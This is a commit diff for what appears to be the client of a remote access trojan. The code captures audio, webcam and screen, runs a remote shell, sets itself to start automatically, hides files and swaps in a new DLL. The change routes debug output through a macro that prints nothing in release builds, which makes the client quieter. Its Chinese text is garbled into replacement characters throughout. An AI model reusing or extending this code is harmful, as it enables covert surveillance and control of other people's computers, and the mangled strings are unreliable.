Update libraries and replace zlib with zstd #42
This commit is contained in:
@@ -71,7 +71,7 @@ CAudio::~CAudio()
|
||||
waveInClose(m_hWaveIn);
|
||||
WAIT (m_hThreadCallBack, 30);
|
||||
if (m_hThreadCallBack)
|
||||
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
|
||||
Mprintf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
|
||||
TerminateThread(m_Thread, -999);
|
||||
m_Thread = NULL;
|
||||
}
|
||||
@@ -194,7 +194,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
||||
DispatchMessage(&Msg);
|
||||
}
|
||||
|
||||
std::cout<<"waveInCallBack end\n";
|
||||
Mprintf("waveInCallBack end\n");
|
||||
This->m_hThreadCallBack = false;
|
||||
|
||||
return 0XDEADAAAA;
|
||||
|
||||
@@ -17,7 +17,7 @@ using namespace std;
|
||||
|
||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
{
|
||||
printf("new CAudioManager %p\n", this);
|
||||
Mprintf("new CAudioManager %p\n", this);
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
m_AudioObject = NULL;
|
||||
@@ -65,7 +65,7 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
|
||||
Sleep(50);
|
||||
}
|
||||
|
||||
cout<<"CAudioManager WorkThread end\n";
|
||||
Mprintf("CAudioManager WorkThread end\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -110,7 +110,7 @@ CAudioManager::~CAudioManager()
|
||||
delete [] szPacket;
|
||||
szPacket = NULL;
|
||||
}
|
||||
printf("~CAudioManager %p\n", this);
|
||||
Mprintf("~CAudioManager %p\n", this);
|
||||
}
|
||||
|
||||
//USB
|
||||
|
||||
@@ -46,7 +46,7 @@ CCaptureVideo::~CCaptureVideo()
|
||||
|
||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
{
|
||||
printf("CCaptureVideo call Open\n");
|
||||
Mprintf("CCaptureVideo call Open\n");
|
||||
HRESULT hResult = S_OK;
|
||||
do
|
||||
{
|
||||
@@ -123,7 +123,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
break;
|
||||
} while (false);
|
||||
|
||||
printf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
|
||||
Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
|
||||
|
||||
return hResult;
|
||||
}
|
||||
|
||||
@@ -109,7 +109,7 @@ int main(int argc, const char *argv[])
|
||||
{
|
||||
if (!SetSelfStart(argv[0], REG_NAME))
|
||||
{
|
||||
std::cout << "<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
}
|
||||
|
||||
status = E_RUN;
|
||||
@@ -127,18 +127,18 @@ int main(int argc, const char *argv[])
|
||||
g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
|
||||
}
|
||||
if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) {
|
||||
printf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
|
||||
Sleep(3000);
|
||||
return -1;
|
||||
}
|
||||
printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
Mprintf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰģ<C7B0><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD><EFBFBD><EFBFBD>HINSTANCE<43><45>
|
||||
g_hInstance = GetModuleHandle(NULL);
|
||||
if (g_hInstance != NULL) {
|
||||
std::cout << "HINSTANCE: " << g_hInstance << std::endl;
|
||||
Mprintf("HINSTANCE: %p\n", g_hInstance);
|
||||
} else {
|
||||
std::cerr << "Failed to get HINSTANCE" << std::endl;
|
||||
Mprintf("Failed to get HINSTANCE!\n");
|
||||
}
|
||||
|
||||
do{
|
||||
@@ -225,12 +225,12 @@ void RunNewDll(const char* cmdLine) {
|
||||
{
|
||||
if (!DeleteFileA(oldFile.c_str()))
|
||||
{
|
||||
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
|
||||
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
|
||||
ok = FALSE;
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
||||
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
if (_access(path, 0) != -1)
|
||||
{
|
||||
ok = FALSE;
|
||||
@@ -240,15 +240,15 @@ void RunNewDll(const char* cmdLine) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||
{
|
||||
std::cout << "File created and set to hidden: " << oldFile << std::endl;
|
||||
Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
||||
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
MoveFileA(oldFile.c_str(), path);// recover
|
||||
}
|
||||
else if (ok) {
|
||||
std::cout << "Using new file: " << newFile << std::endl;
|
||||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||||
}
|
||||
}
|
||||
char cmd[1024];
|
||||
@@ -331,7 +331,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
Sleep(200);
|
||||
}
|
||||
|
||||
cout<<"StartClient end\n";
|
||||
Mprintf("StartClient end\n");
|
||||
delete ClientObject;
|
||||
g_bThreadExit = true;
|
||||
|
||||
|
||||
@@ -92,9 +92,9 @@ inline string GetIPAddress(const char *hostName)
|
||||
{
|
||||
struct hostent *host = gethostbyname(hostName);
|
||||
#ifdef _DEBUG
|
||||
printf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
||||
for (int i = 0; host->h_addr_list[i]; ++i)
|
||||
printf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
|
||||
Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
|
||||
#endif
|
||||
if (host == NULL || host->h_addr_list == NULL)
|
||||
return "";
|
||||
@@ -147,7 +147,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
(LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||
}
|
||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n";
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n");
|
||||
m_bConnected = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
@@ -174,7 +174,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
if (iRet == 0) Sleep(50);
|
||||
else
|
||||
{
|
||||
printf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
|
||||
Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
|
||||
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(This->m_exit_while_disconnect)
|
||||
break;
|
||||
@@ -196,7 +196,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
This->OnServerReceiving(szBuffer, iReceivedLength);
|
||||
if (This->m_Manager!=NULL && This->m_Manager->m_bIsDead)
|
||||
{
|
||||
printf("****** Recv bye bye ******\n");
|
||||
Mprintf("****** Recv bye bye ******\n");
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB>˺<EFBFBD><CBBA><EFBFBD><EFBFBD>ضˣ<D8B6><CBA3><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
extern BOOL g_bExit;
|
||||
g_bExit = This->m_Manager->m_bIsDead;
|
||||
@@ -271,7 +271,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||
m_DeCompressedBuffer.GetBufferLength());
|
||||
}
|
||||
else{
|
||||
printf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
|
||||
Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
|
||||
delete [] CompressedBuffer;
|
||||
delete [] DeCompressedBuffer;
|
||||
throw "Bad Buffer";
|
||||
@@ -280,17 +280,17 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||
delete [] CompressedBuffer;
|
||||
delete [] DeCompressedBuffer;
|
||||
#if _DEBUG
|
||||
printf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
|
||||
// Mprintf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
|
||||
#endif
|
||||
}
|
||||
else {
|
||||
printf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
|
||||
Mprintf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}catch(...) {
|
||||
m_CompressedBuffer.ClearBuffer();
|
||||
printf("[ERROR] OnServerReceiving catch an error \n");
|
||||
Mprintf("[ERROR] OnServerReceiving catch an error \n");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -320,7 +320,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
||||
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
|
||||
if (Z_FAILED(iRet))
|
||||
{
|
||||
printf("[ERROR] compress failed \n");
|
||||
Mprintf("[ERROR] compress failed \n");
|
||||
delete [] CompressedBuffer;
|
||||
return FALSE;
|
||||
}
|
||||
@@ -412,7 +412,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
||||
|
||||
VOID IOCPClient::Disconnect()
|
||||
{
|
||||
std::cout<<"<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||
Mprintf("<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
|
||||
CancelIo((HANDLE)m_sClientSocket);
|
||||
closesocket(m_sClientSocket);
|
||||
|
||||
@@ -20,7 +20,7 @@ CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
|
||||
|
||||
CKernelManager::~CKernelManager()
|
||||
{
|
||||
printf("~CKernelManager begin\n");
|
||||
Mprintf("~CKernelManager begin\n");
|
||||
int i = 0;
|
||||
for (i=0;i<MAX_THREADNUM;++i)
|
||||
{
|
||||
@@ -34,7 +34,7 @@ CKernelManager::~CKernelManager()
|
||||
}
|
||||
}
|
||||
m_ulThreadCount = 0;
|
||||
printf("~CKernelManager end\n");
|
||||
Mprintf("~CKernelManager end\n");
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD>õ<EFBFBD><C3B5>߳<EFBFBD><DFB3>±<EFBFBD>
|
||||
@@ -55,7 +55,7 @@ UINT CKernelManager::GetAvailableIndex() {
|
||||
BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
|
||||
{
|
||||
if (size > 32 * 1024 * 1024) {
|
||||
std::cerr << "WriteBinaryToFile fail: too large file size!!" << std::endl;
|
||||
Mprintf("WriteBinaryToFile fail: too large file size!!\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -74,7 +74,7 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
|
||||
|
||||
if (!outFile)
|
||||
{
|
||||
std::cerr << "Failed to open or create the file: " << filePath << std::endl;
|
||||
Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -83,11 +83,11 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
|
||||
|
||||
if (outFile.good())
|
||||
{
|
||||
std::cout << "Binary data written successfully to " << filePath << std::endl;
|
||||
Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
|
||||
}
|
||||
else
|
||||
{
|
||||
std::cerr << "Failed to write data to file." << std::endl;
|
||||
Mprintf("Failed to write data to file.\n");
|
||||
outFile.close();
|
||||
return FALSE;
|
||||
}
|
||||
@@ -97,7 +97,7 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||
{
|
||||
std::cout << "File created and set to hidden: " << filePath << std::endl;
|
||||
Mprintf("File created and set to hidden: %s\n", filePath.c_str());
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -107,7 +107,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||
if ((m_ulThreadCount = GetAvailableIndex()) == -1) {
|
||||
if (!isExit) {
|
||||
printf("CKernelManager: The number of threads exceeds the limit.\n");
|
||||
Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -235,7 +235,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
OutputDebugStringA("======> Error operator\n");
|
||||
char buffer[256] = {};
|
||||
strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer));
|
||||
printf("!!! Unknown command: %s\n", buffer);
|
||||
Mprintf("!!! Unknown command: %s\n", buffer);
|
||||
if (m_ulThreadCount != -1) {
|
||||
delete m_hThread[m_ulThreadCount].p;
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
|
||||
@@ -36,7 +36,7 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
|
||||
}catch(...){
|
||||
printf("[ERROR] CManager::Send catch an error \n");
|
||||
Mprintf("[ERROR] CManager::Send catch an error \n");
|
||||
};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
@@ -19,7 +19,7 @@ CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(Cli
|
||||
|
||||
CRegisterManager::~CRegisterManager()
|
||||
{
|
||||
cout<<"CRegisterManager <20><><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("CRegisterManager <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
|
||||
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
@@ -74,7 +74,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
|
||||
c1 = 0;
|
||||
#ifdef _DEBUG
|
||||
printf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
|
||||
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
|
||||
#endif
|
||||
}
|
||||
} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
|
||||
@@ -83,7 +83,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
|
||||
c2 = 0;
|
||||
#ifdef _DEBUG
|
||||
printf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
|
||||
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
@@ -92,7 +92,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
cout<<"ScreenWorkThread Exit\n";
|
||||
Mprintf("ScreenWorkThread Exit\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -114,7 +114,7 @@ VOID CScreenManager::SendBitMapInfo()
|
||||
|
||||
CScreenManager::~CScreenManager()
|
||||
{
|
||||
cout<<"ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
|
||||
|
||||
@@ -28,7 +28,7 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
||||
int w = ::GetSystemMetrics(SM_CXSCREEN), h = ::GetSystemMetrics(SM_CYSCREEN);
|
||||
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
|
||||
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
|
||||
printf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
||||
Mprintf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
||||
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
|
||||
|
||||
m_BitmapInfor_Full = new BITMAPINFO();
|
||||
|
||||
@@ -126,7 +126,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
ReadFile(This->m_hReadPipeHandle,
|
||||
szTotalBuffer, dwTotal, &dwReturn, NULL);
|
||||
#ifdef _DEBUG
|
||||
printf("===> Input length= %d \n", This->m_nCmdLength);
|
||||
Mprintf("===> Input length= %d \n", This->m_nCmdLength);
|
||||
#endif
|
||||
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
|
||||
int length = int(dwReturn) - This->m_nCmdLength;
|
||||
@@ -136,7 +136,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
LocalFree(szTotalBuffer);
|
||||
}
|
||||
}
|
||||
cout<<"ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n";
|
||||
Mprintf("ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -10,17 +10,23 @@
|
||||
#define USING_COMPRESS 1
|
||||
|
||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
|
||||
#define USING_ZLIB 1
|
||||
#define USING_ZLIB 0
|
||||
|
||||
#if !USING_ZLIB
|
||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
|
||||
#define USING_LZ4 1
|
||||
#define USING_LZ4 0
|
||||
#endif
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
|
||||
#else
|
||||
#define Mprintf(format, ...)
|
||||
#endif
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
|
||||
#include "vld.h"
|
||||
|
||||
@@ -70,7 +76,7 @@ public:
|
||||
~auto_tick() { stop(); }
|
||||
|
||||
__inline void stop() {
|
||||
if (span != 0) { int s(this->time()); if (s > span)printf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; }
|
||||
if (span != 0) { int s(this->time()); if (s > span)Mprintf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; }
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -135,7 +135,7 @@ LPBYTE CSystemManager::GetProcessList()
|
||||
|
||||
CSystemManager::~CSystemManager()
|
||||
{
|
||||
cout<<"ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
|
||||
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)
|
||||
|
||||
@@ -33,12 +33,12 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObjec
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
g_IOCPClientObject = ClientObject;
|
||||
WaitForDialogOpen();
|
||||
cout << "Talk <20><><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
|
||||
CTalkManager::~CTalkManager()
|
||||
{
|
||||
cout<<"Talk <20><><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
|
||||
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
@@ -35,7 +35,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
if (This->Initialize()) //ת<><D7AA>Initialize
|
||||
{
|
||||
This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
printf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
}
|
||||
|
||||
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
||||
@@ -58,7 +58,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
int span = sleep-(GetTickCount64() - dwLastScreen);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0)
|
||||
printf("SendScreen Span = %d ms\n", span);
|
||||
Mprintf("SendScreen Span = %d ms\n", span);
|
||||
dwLastScreen = GetTickCount64();
|
||||
if(FALSE == This->SendNextScreen())
|
||||
break;
|
||||
@@ -66,7 +66,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
timeEndPeriod(1);
|
||||
|
||||
This->Destroy();
|
||||
std::cout<<"CVideoManager WorkThread end\n";
|
||||
Mprintf("CVideoManager WorkThread end\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -77,7 +77,7 @@ CVideoManager::~CVideoManager()
|
||||
m_CapVideo.m_bExit = TRUE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
std::cout<<"CVideoManager ~CVideoManager \n";
|
||||
Mprintf("CVideoManager ~CVideoManager \n");
|
||||
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
{
|
||||
delete m_pVideoCodec;
|
||||
@@ -90,7 +90,7 @@ CVideoManager::~CVideoManager()
|
||||
void CVideoManager::Destroy()
|
||||
{
|
||||
m_bIsWorking = FALSE;
|
||||
std::cout<<"CVideoManager Destroy \n";
|
||||
Mprintf("CVideoManager Destroy \n");
|
||||
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||
{
|
||||
delete m_pVideoCodec;
|
||||
@@ -170,13 +170,13 @@ VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_pVideoCodec)
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, true);
|
||||
printf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
break;
|
||||
}
|
||||
case COMMAND_WEBCAM_DISABLECOMPRESS: // ԭʼ<D4AD><CABC><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD>
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, false);
|
||||
printf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
Mprintf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
#include <iostream>
|
||||
#include <corecrt_io.h>
|
||||
#include "common/commands.h"
|
||||
#include "StdAfx.h"
